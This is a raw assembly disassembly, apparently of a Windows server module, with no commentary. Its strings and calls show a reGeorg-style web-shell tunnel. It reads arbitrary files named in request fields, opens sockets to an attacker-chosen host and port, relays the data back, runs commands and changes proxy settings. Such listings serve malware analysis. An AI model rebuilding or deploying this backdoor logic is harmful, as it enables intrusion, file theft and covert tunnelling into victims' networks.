mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
lea rdx, str.Get_JS_OK_
jmp 0x180003062
mov rdi, qword [rsp + 0x48]
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_FILEPATH
mov rcx, rdi
call qword [rax + 0x18]
test rax, rax
je case.0x180002ffd.106
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180007900
nop
cmp qword [rsp + 0x70], 0
jne 0x1800032d9
lea rdx, str.Filepath_can_not_be_empty_
lea rcx, [rsp + 0x160]
call fcn.180007900
mov r8, rax
xor edx, edx
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
jmp 0x1800021a6
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x80]
call fcn.1800137c0
nop
lea rcx, [rsp + 0x80]
call fcn.180007230
mov rcx, rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000344a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0xa0]
call fcn.180001420
mov rdi, rax
or edx, ebx
lea rcx, [rsp + 0x120]
call fcn.180001400
mov rbx, rax
lea r8, [rsp + 0x60]
lea rdx, str.Read_file
lea rcx, [rsp + 0x100]
call fcn.18000ba20
nop
lea r8, str._error___handle
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.18000bd20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x140]
call fcn.18000bd90
nop
lea r8, str._error_number
mov rdx, rax
lea rcx, [rsp + 0x180]
call fcn.18000bd20
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.18000bd90
mov r8, rax
xor edx, edx
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x180]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x140]
call fcn.1800077b0
nop
lea rcx, [rsp + 0xc0]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x100]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x120]
call fcn.1800077b0
nop
lea rcx, [rsp + 0xa0]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x80]
call fcn.180007270
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
jmp 0x1800021a6
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov ecx, eax
call fcn.18001ba38
mov rdi, rax
mov rcx, rbx
test rax, rax
jne 0x180003492
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.malloc_memory_error_
lea rcx, [rsp + 0xa0]
call fcn.180007900
mov r8, rax
xor edx, edx
mov rcx, r15
call fcn.180010620
jmp 0x18000342d
mov dword [rsp + 0x50], r14d
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x50]
mov r8d, esi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1800035c5
lea edx, [rax + 1]
mov rcx, rdi
call fcn.180016660
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x100]
call fcn.180001420
mov rdi, rax
mov edx, ebx
lea rcx, [rsp + 0xc0]
call fcn.180001400
mov rbx, rax
lea r8, [rsp + 0x60]
lea rdx, str.Read_file
lea rcx, [rsp + 0x140]
call fcn.18000ba20
nop
lea r8, str._error___handle
mov rdx, rax
lea rcx, [rsp + 0x180]
call fcn.18000bd20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.18000bd90
nop
lea r8, str._error_number
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.18000bd20
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.18000bd90
mov r8, rax
xor edx, edx
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x120]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x160]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x180]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x140]
call fcn.1800077b0
nop
lea rcx, [rsp + 0xc0]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x100]
jmp 0x180003427
mov rdx, rdi
lea rcx, [rsp + 0xe0]
call fcn.180007900
nop
mov edx, 1
mov rcx, rdi
call fcn.180016660
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
lea rdx, str.stream
lea rcx, [rsp + 0xa0]
call fcn.180007900
mov rbx, rax
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x120]
call fcn.1800135e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
mov edx, dword [rsp + 0x50]
lea rcx, [rsp + 0x160]
call fcn.180001420
nop
mov r8, rax
lea rdx, str.Read_length:
lea rcx, [rsp + 0xa0]
call fcn.18000bb90
mov r8, rax
mov edx, 1
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x160]
call fcn.1800077b0
nop
lea rcx, [rsp + 0xe0]
jmp 0x180003427
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
lea rdx, str.Georg_says__All_seems_fine
lea rcx, [rsp + 0x60]
call fcn.180007900
nop
lea rdx, str.plain
lea rcx, [rsp + 0xa0]
call fcn.180007900
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x120]
call fcn.1800135e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
lea rdx, [0x180046f08]
lea rcx, [rsp + 0x80]
jmp 0x180003067
mov rdi, qword [rsp + 0x48]
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_TARGET
mov rcx, rdi
call qword [rax + 0x18]
mov rbx, rax
mov r9, qword [rdi]
xor r8d, r8d
lea rdx, str.X_PORT
mov rcx, rdi
call qword [r9 + 0x18]
mov r14, rax
test rbx, rbx
je case.0x180002ffd.106
test rax, rax
je case.0x180002ffd.106
mov edx, 1
mov esi, 2
lea r8d, [rdx + 5]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
mov qword [rsp + 0x48], rax
cmp rax, 0xffffffffffffffff
jne 0x180003795
lea rdx, str.INVALID_SOCKET
lea rcx, [rsp + 0xa0]
call fcn.180007900
mov r8, rax
xor edx, edx
mov rcx, r15
call fcn.180010620
mov eax, esi
jmp 0x1800055da
mov dword [rsp + 0x50], 1
lea r8, [rsp + 0x50]
mov edx, 0x8004667e
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
je 0x1800037c6
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.Set_non_block_mode_error
jmp 0x180003774
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.180007900
nop
mov word [rsp + 0xc0], si
mov rdx, r14
lea rcx, [rsp + 0xe0]
call fcn.180007900
nop
lea rcx, [rsp + 0xe0]
call fcn.180001380
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0xc2], ax
lea rcx, [rsp + 0xe0]
call fcn.1800077b0
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0xc4], eax
cmp eax, 0xffffffff
jne 0x180003923
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdx, rax
test rax, rax
jne 0x1800038a5
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rsp + 0x120]
call fcn.180001400
nop
mov r8, rax
lea rdx, str.Parse_IP_failed_:
lea rcx, [rsp + 0xa0]
call fcn.18000bb90
mov r8, rax
xor edx, edx
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x120]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
mov eax, esi
jmp 0x1800055da
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ebx, dword [rcx]
cmp word [rdx + 0x10], 2
jne 0x1800038e7
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rdx, rax
lea r8, [rsp + 0xc4]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_inet_pton]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180007760
jmp 0x180003923
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.Unknown_address_type
lea rcx, [rsp + 0xa0]
call fcn.180007900
mov r8, rax
xor edx, edx
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
mov eax, esi
jmp 0x1800055da
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0xc0]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1800039b8
lea ecx, [rax + 0x65]
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
lea ecx, [rax - 0x2733]
cmp ecx, 1
jbe 0x1800039b8
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, ebx
lea rcx, [rsp + 0x120]
call fcn.180001400
nop
mov r8, rax
lea rdx, str.Socks_connect_error:
lea rcx, [rsp + 0xa0]
call fcn.18000bb90
mov r8, rax
xor edx, edx
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x120]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
mov eax, esi
jmp 0x1800055da
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rsp + 0x140]
call fcn.180001400
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x180]
call fcn.18000bbf0
nop
mov r8, r14
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.18000bd20
nop
lea r8, str.__ErrNo:
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.18000bd20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.18000bd90
nop
lea r8, [0x1800477b4]
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.18000bd20
mov r8, rax
mov edx, 1
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x120]
call fcn.1800077b0
nop
lea rcx, [rsp + 0xe0]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x160]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x180]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x140]
call fcn.1800077b0
mov rdx, rdi
lea rcx, [rsp + 0x80]
call fcn.180001440
nop
mov rbx, qword [r15]
lea rcx, [rsp + 0x80]
call fcn.1800074c0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0x90]
lea rdx, str.X_SOCKETID
mov rcx, r15
call qword [rbx + 0x28]
nop
lea rcx, [rsp + 0x80]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
jmp 0x18000378e
mov rdi, qword [rsp + 0x48]
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_SOCKETID
mov rcx, rdi
call qword [rax + 0x18]
mov qword [rsp + 0x48], rax
test rax, rax
je case.0x180002ffd.106
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180007900
nop
lea rcx, [rsp + 0x60]
call fcn.180001380
movsxd rbx, eax
lea rcx, [rsp + 0x60]
call fcn.1800077b0
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, [0x180046f08]
lea rcx, [rsp + 0xa0]
call fcn.180007900
mov r8, rax
mov edx, 1
mov rcx, r15
call fcn.180010620
mov eax, 2
jmp 0x1800055da
mov rdi, qword [rsp + 0x48]
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_SOCKETID
mov rcx, rdi
call qword [rax + 0x18]
mov r13, rax
mov qword [rsp + 0x48], rax
test rax, rax
je case.0x180002ffd.106
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.180007900
nop
lea rcx, [rsp + 0x80]
call fcn.180001380
movsxd rsi, eax
lea rcx, [rsp + 0x80]
call fcn.1800077b0
xor edx, edx
mov r8d, 0x1000
lea rcx, [rsp + 0x1c0]
call fcn.180019810
lea rcx, [rsp + 0x60]
call fcn.180007940
nop
mov ebx, r14d
mov r12d, r14d
nop dword [rax]
xor r9d, r9d
mov r8d, 0x1000
lea rdx, [rsp + 0x1c0]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
movsxd rdi, eax
cmp edi, 0xffffffff
jne 0x180003d18
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
lea edx, [rax - 0x2733]
cmp edx, 1
jbe 0x180003d06
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, edi
lea rcx, [rsp + 0x160]
call fcn.180001400
mov rbx, rax
mov rdx, r13
lea rcx, [rsp + 0xe0]
call fcn.180007900
nop
mov r8, rax
lea rdx, str.Read_socket_fd__
lea rcx, [rsp + 0x80]
call fcn.18000bb90
nop
lea r8, str.__error:
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.18000bd20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.18000bd90
mov r8, rax
xor edx, edx
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x120]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x80]
call fcn.1800077b0
nop
lea rcx, [rsp + 0xe0]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x160]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
mov eax, 2
jmp 0x1800055da
inc ebx
mov ecx, socket
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180003f55
test eax, eax
jle 0x180003d48
mov ebx, r14d
mov r8, rdi
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0x60]
call fcn.180007610
inc r12d
cmp edi, 0x1000
jl 0x180003e1d
jmp 0x180003c00
jne 0x180003f55
cmp qword [rsp + 0x70], 0
ja 0x180003e11
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.OVER
lea rcx, [rsp + 0x80]
call fcn.180007900
nop
mov rbx, qword [r15]
lea rcx, [rsp + 0x80]
call fcn.1800074c0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0x90]
lea rdx, str.X_STATUS
mov rcx, r15
call qword [rbx + 0x28]
lea rdx, str.DONE
lea rcx, [rsp + 0x80]
call fcn.180007760
mov rbx, qword [r15]
lea rcx, [rsp + 0x80]
call fcn.1800074c0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0x90]
lea rdx, str.X_ERROR
mov rcx, r15
call qword [rbx + 0x28]
nop
lea rcx, [rsp + 0x80]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
mov eax, 2
jmp 0x1800055da
cmp ebx, 0x5dc
jge 0x180003f61
mov edx, ebx
lea rcx, [rsp + 0x160]
call fcn.180001400
mov rbx, rax
mov edx, r12d
lea rcx, [rsp + 0xe0]
call fcn.180001400
nop
lea r8, [0x180047858]
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.18000bd20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.18000bd90
mov r8, rax
mov edx, 1
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x120]
call fcn.1800077b0
nop
lea rcx, [rsp + 0xe0]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x160]
call fcn.1800077b0
mov rdx, r13
lea rcx, [rsp + 0x80]
call fcn.180007900
nop
mov rbx, qword [r15]
lea rcx, [rsp + 0x80]
call fcn.1800074c0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0x90]
lea rdx, str.X_SOCKETID
mov rcx, r15
call qword [rbx + 0x28]
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x100], rax
lea rdx, str.stream
lea rcx, [rsp + 0xa0]
call fcn.180007900
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x120]
call fcn.180007960
nop
xor r9d, r9d
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
nop
lea rcx, [rsp + 0x80]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
mov eax, 2
jmp 0x1800055da
cmp ebx, 0x5dc
jl 0x180003c00
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.OVER
lea rcx, [rsp + 0x80]
call fcn.180007900
nop
mov rbx, qword [r15]
lea rcx, [rsp + 0x80]
call fcn.1800074c0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0x90]
lea rdx, str.X_STATUS
mov rcx, r15
call qword [rbx + 0x28]
lea rdx, str.Timeout
lea rcx, [rsp + 0x80]
call fcn.180007760
mov rbx, qword [r15]
lea rcx, [rsp + 0x80]
call fcn.1800074c0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0x90]
lea rdx, str.X_ERROR
mov rcx, r15
call qword [rbx + 0x28]
nop
lea rcx, [rsp + 0x80]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
mov eax, 2
jmp 0x1800055da
test esi, esi
je case.0x180002ffd.106
test rbx, rbx
je 0x180004053
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.180007900
mov esi, 2
mov r12d, esi
lea rdx, [rsp + 0x60]
call fcn.180006820
test rax, rax
je 0x180004058
test r13d, r13d
je 0x180004058
xor r13b, r13b
jmp 0x18000405b
mov esi, 2
mov r13b, 1
test r12b, 2
je 0x18000406f
and r12d, 0xfffffffd
lea rcx, [rsp + 0x60]
call fcn.1800077b0
test r13b, r13b
jne case.0x180002ffd.106
mov r13, qword [rsp + 0x48]
mov rdx, r13
lea rcx, [rsp + 0x140]
call fcn.180010a50
nop
mov rdx, rbx
lea rcx, [rsp + 0x1a0]
call fcn.180007900
nop
lea rdx, [rsp + 0x1a0]
call fcn.180006850
mov ebx, dword [rax]
lea rcx, [rsp + 0x1a0]
call fcn.1800077b0
add ebx, 0xffffff9c
cmp ebx, 0x16
ja case.0x1800040db.102
movsxd rax, ebx
lea rcx, [0x180000000]
mov eax, dword [rcx + rax*4 + 0x5660]
add rax, rcx
jmp rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xa0]
call fcn.1800135e0
nop
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.180010d50
nop
lea rcx, [rsp + 0xa0]
call fcn.1800077b0
lea rcx, [rsp + 0x60]
call fcn.180007940
nop
lea rdx, [0x18004785c]
lea rcx, [rsp + 0x80]
call fcn.180007900
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0xc0]
call fcn.180006640
lea rcx, [rsp + 0x80]
call fcn.1800077b0
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0xc0]
je 0x180004174
add rdx, 0x40
lea rcx, [rsp + 0x60]
call fcn.180007780
lea rdx, str.timeout
lea rcx, [rsp + 0x80]
call fcn.180007900
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0xc0]
call fcn.180006640
mov rbx, qword [rax]
lea rcx, [rsp + 0x80]
call fcn.1800077b0
cmp rbx, qword [rsp + 0xc0]
je 0x1800041da
lea rcx, [rbx + 0x40]
call fcn.180001380
mov edi, eax
jmp 0x1800041da
cmp qword [rsp + 0x70], 0
je 0x1800042c6
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x100], rax
lea rdx, str.plain
lea rcx, [rsp + 0xa0]
call fcn.180007900
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0xe0]
call fcn.1800137c0
nop
imul r8d, edi, 0x3e8
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.1800144e0
nop
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.1800135e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
nop
lea rcx, [rsp + 0x80]
call fcn.1800077b0
nop
lea rcx, [rsp + 0xe0]
call fcn.180007270
lea rdx, [0x180046f08]
lea rcx, [rsp + 0x160]
call fcn.180007900
mov r8, rax
mov edx, 1
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
nop
lea rcx, [rsp + 0xc0]
call fcn.1800056c0
nop
lea rcx, [rsp + 0x140]
call fcn.1800077b0
jmp 0x18000378e
lea rcx, [rsp + 0x60]
call fcn.1800077b0
nop
jmp 0x1800055bd
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xa0]
call fcn.1800135e0
nop
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.180010d50
nop
lea rcx, [rsp + 0xa0]
call fcn.1800077b0
lea rcx, [rsp + 0x60]
call fcn.180007940
nop
lea rdx, [0x18004785c]
lea rcx, [rsp + 0x80]
call fcn.180007900
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0xc0]
call fcn.180006640
lea rcx, [rsp + 0x80]
call fcn.1800077b0
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0xc0]
je 0x18000436d
add rdx, 0x40
lea rcx, [rsp + 0x60]
call fcn.180007780
lea rdx, str.timeout
lea rcx, [rsp + 0x80]
call fcn.180007900
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0xc0]
call fcn.180006640
mov rbx, qword [rax]
lea rcx, [rsp + 0x80]
call fcn.1800077b0
cmp rbx, qword [rsp + 0xc0]
je 0x1800043d3
lea rcx, [rbx + 0x40]
call fcn.180001380
mov edi, eax
jmp 0x1800043d3
cmp qword [rsp + 0x70], 0
je 0x1800044dc
lea rcx, [rsp + 0x80]
call fcn.180007940
nop
lea r8, [rsp + 0x60]
lea rdx, str.CMD:
lea rcx, [rsp + 0x120]
call fcn.18000ba20
nop
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.1800135e0
nop
imul r8d, edi, 0x3e8
lea rdx, [rsp + 0x80]
mov rcx, rax
call fcn.180014160
nop
lea rcx, [rsp + 0xa0]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x120]
call fcn.1800077b0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x100], rax
lea rdx, str.plain
lea rcx, [rsp + 0xe0]
call fcn.180007900
mov rbx, rax
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xa0]
call fcn.180007960
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
lea rdx, [0x180046f08]
lea rcx, [rsp + 0x160]
call fcn.180007900
mov r8, rax
mov edx, 1
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x80]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
nop
jmp 0x1800042a6
lea rcx, [rsp + 0x60]
call fcn.1800077b0
nop
jmp 0x1800055bd
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xa0]
call fcn.1800135e0
nop
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.180010d50
nop
lea rcx, [rsp + 0xa0]
call fcn.1800077b0
lea rcx, [rsp + 0x80]
call fcn.180007330
nop
lea rdx, str.proxyEnable
lea rcx, [rsp + 0x60]
call fcn.180007900
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xc0]
call fcn.180006640
lea rcx, [rsp + 0x60]
call fcn.1800077b0
mov rbx, qword [rsp + 0x40]
cmp rbx, qword [rsp + 0xc0]
je 0x180004671
lea rcx, [rbx + 0x40]
lea rdx, [0x18004787c]
call fcn.18000be20
test al, al
je 0x1800045ee
mov byte [0x180051a08], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x100], rax
lea rdx, str.Disabled_Proxy
lea rcx, [rsp + 0x60]
call fcn.180007900
nop
lea rdx, str.plain
lea rcx, [rsp + 0xa0]
call fcn.180007900
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x120]
call fcn.1800135e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
nop
jmp 0x180004667
lea rcx, [rbx + 0x40]
lea rdx, [0x180047890]
call fcn.18000be20
test al, al
je 0x180004671
mov byte [0x180051a08], 1
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x100], rax
lea rdx, str.Enabled_Proxy
lea rcx, [rsp + 0x60]
call fcn.180007900
nop
lea rdx, str.plain
lea rcx, [rsp + 0xa0]
call fcn.180007900
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x120]
call fcn.1800135e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
lea rdx, [0x180046f08]
lea rcx, [rsp + 0xa0]
call fcn.180007900
mov r8, rax
mov edx, 1
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x80]
call fcn.180007270
nop
jmp 0x1800042a6
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xa0]
call fcn.1800135e0
nop
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.180010d50
nop
lea rcx, [rsp + 0xa0]
call fcn.1800077b0
lea rcx, [rsp + 0x80]
call fcn.180007330
nop
lea rcx, [rsp + 0x60]
call fcn.180007330
nop
lea rdx, str.proxyPath
lea rcx, [rsp + 0xe0]
call fcn.180007900
lea r8, [rsp + 0xe0]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xc0]
call fcn.180006640
lea rcx, [rsp + 0xe0]
call fcn.1800077b0
mov rdx, qword [rsp + 0x40]
cmp rdx, qword [rsp + 0xc0]
je 0x18000476e
add rdx, 0x40
lea rcx, [rsp + 0xa0]
call fcn.1800137c0
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.1800072c0
lea rcx, [rsp + 0xa0]
call fcn.180007270
lea rdx, str.proxyUrl
lea rcx, [rsp + 0xe0]
call fcn.180007900
lea r8, [rsp + 0xe0]
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0xc0]
call fcn.180006640
mov rbx, qword [rax]
lea rcx, [rsp + 0xe0]
call fcn.1800077b0
cmp rbx, qword [rsp + 0xc0]
je 0x1800047e4
lea rdx, [rbx + 0x40]
lea rcx, [rsp + 0xa0]
call fcn.1800137c0
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1800072c0
lea rcx, [rsp + 0xa0]
call fcn.180007270
cmp qword [rsp + 0x90], 0
je 0x1800048c1
cmp qword [rsp + 0x70], 0
je 0x1800048c1
lea rdx, [rsp + 0x80]
call fcn.1800070a0
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.180007240
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x100], rax
lea rdx, str.plain
lea rcx, [rsp + 0xa0]
call fcn.180007900
mov rbx, rax
lea rcx, [rsp + 0xe0]
call fcn.1800139d0
nop
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.1800135e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
nop
lea rcx, [rsp + 0xe0]
call fcn.1800077b0
lea rdx, [0x180046f08]
lea rcx, [rsp + 0x160]
call fcn.180007900
mov r8, rax
mov edx, 1
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x60]
call fcn.180007270
nop
lea rcx, [rsp + 0x80]
call fcn.180007270
nop
jmp 0x1800042a6
lea rcx, [rsp + 0x60]
call fcn.180007270
nop
lea rcx, [rsp + 0x80]
call fcn.180007270
nop
jmp 0x1800055bd
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xa0]
call fcn.1800135e0
nop
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.180010d50
nop
lea rcx, [rsp + 0xa0]
call fcn.1800077b0
lea rcx, [rsp + 0x60]
call fcn.180007330
nop
lea rdx, str.proxyPath
lea rcx, [rsp + 0x80]
call fcn.180007900
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xc0]
call fcn.180006640
lea rcx, [rsp + 0x80]
call fcn.1800077b0
mov rdx, qword [rsp + 0x40]
cmp rdx, qword [rsp + 0xc0]
je 0x180004993
add rdx, 0x40
lea rcx, [rsp + 0xa0]
call fcn.1800137c0
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1800072c0
lea rcx, [rsp + 0xa0]
call fcn.180007270
cmp qword [rsp + 0x70], 0
je 0x180004a43
lea rdx, [rsp + 0x60]
call fcn.180007030
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x100], rax
lea rdx, str.plain
lea rcx, [rsp + 0xa0]
call fcn.180007900
mov rbx, rax
lea rcx, [rsp + 0x80]
call fcn.1800139d0
nop
mov rdx, rax
